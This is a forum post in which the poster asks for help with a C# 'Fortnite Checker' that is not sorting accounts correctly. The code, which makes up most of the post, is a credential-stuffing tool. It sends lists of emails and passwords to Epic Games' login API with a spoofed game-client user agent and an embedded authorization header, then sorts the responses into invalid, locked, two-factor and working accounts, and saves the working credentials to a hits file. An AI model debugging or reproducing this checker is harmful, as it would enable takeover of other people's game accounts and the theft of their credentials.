OP 17 April, 2020 - 11:21 PM
- Hi guys!
- I am trying to code a Fortnite Checker in C# but i always get a bad account as working account
- Can anyone help me?
Quote:httpRequest.KeepAlive = true;
httpRequest.IgnoreProtocolErrors = true;
httpRequest.ConnectTimeout = 10000;
httpRequest.AllowAutoRedirect = false;
httpRequest.AddHeader("Accept", "application/json");
httpRequest.UserAgent = "Fortnite/++Fortnite+Release-4.5-CL-4166199 Windows/6.2.9200.1.768.64bit";
httpRequest.AddHeader("Authorization", "basic MzQ0NmNkNzI2OTRjNGE0NDg1ZDgxYjc3YWRiYjIxNDE6OTIwOWQ0YTVlMjVhNDU3ZmI5YjA3NDg5ZDMxM2I0MWE=");
Leaf.xNet.HttpResponse httpResponse = httpRequest.Get("https://www.epicgames.com/id/api/csrf", null);
Leaf.xNet.HttpResponse httpResponse2;
bool flag;
do
{
CookieCollection cookies = httpResponse.Cookies.GetCookies("https://www.epicgames.com/id/api/csrf");
try
{
httpRequest.AddHeader("x-xsrf-token", cookies["XSRF-TOKEN"].Value);
}
catch
{
}
httpResponse2 = httpRequest.Post("https://www.epicgames.com/id/api/login", string.Concat(new string[]
{
"email=",
WebUtility.UrlEncode(email),
"&password=",
WebUtility.UrlEncode(password),
"&rememberMe=true&captcha=\"\""
}), "application/x-www-form-urlencoded");
flag = httpResponse2.ToString().Contains("Sorry the credentials you are using are invalid.");
}
while (httpResponse.StatusCode == Leaf.xNet.HttpStatusCode.Conflict);
if (!httpResponse.ToString().Contains("Sorry the account credentials you are using are invalid") && !httpResponse2.ToString().Contains("Real ID assocation is required"))
{
++Check.Badfn;
++Check.Checkedfn;
}
else if (!httpResponse2.ToString().Contains("errors.com.epicgames.common.throttled") && !httpResponse2.ToString().Contains("Process exited before completing"))
{
Thread.Sleep(new Random().Next(25, 75));
}
else if (!httpResponse2.ToString().Contains("Sorry, your account is temporarily locked. Please try again later.") && !httpResponse2.ToString().Contains("Sorry the account you are using is not active"))
{
++Check.lockedfn;
++Check.Checkedfn;
}
else if (httpResponse2.ToString().Contains("Two-Factor authentication required to process"))
{
++Check.locked1fn;
++Check.Checkedfn;
}
else
{
++Check.Hitsfn;
++Check.Checkedfn;
System.Console.ForegroundColor = ConsoleColor.Green;
Colorful.Console.WriteLine("> " + account);
try
{
using (StreamWriter streamWriter = new StreamWriter("results\\Fortnite\\hits.txt", true))
{
streamWriter.WriteLine("<=====> Credentials <=====>" + "\n" + "Email: " + email + "\n" + "Password: " + password + "\n" + "Combo: " + account + "\n" + "<=====> End <=====>\n");
}
}
catch
{
Thread.Sleep(new Random().Next(25, 75));
}
}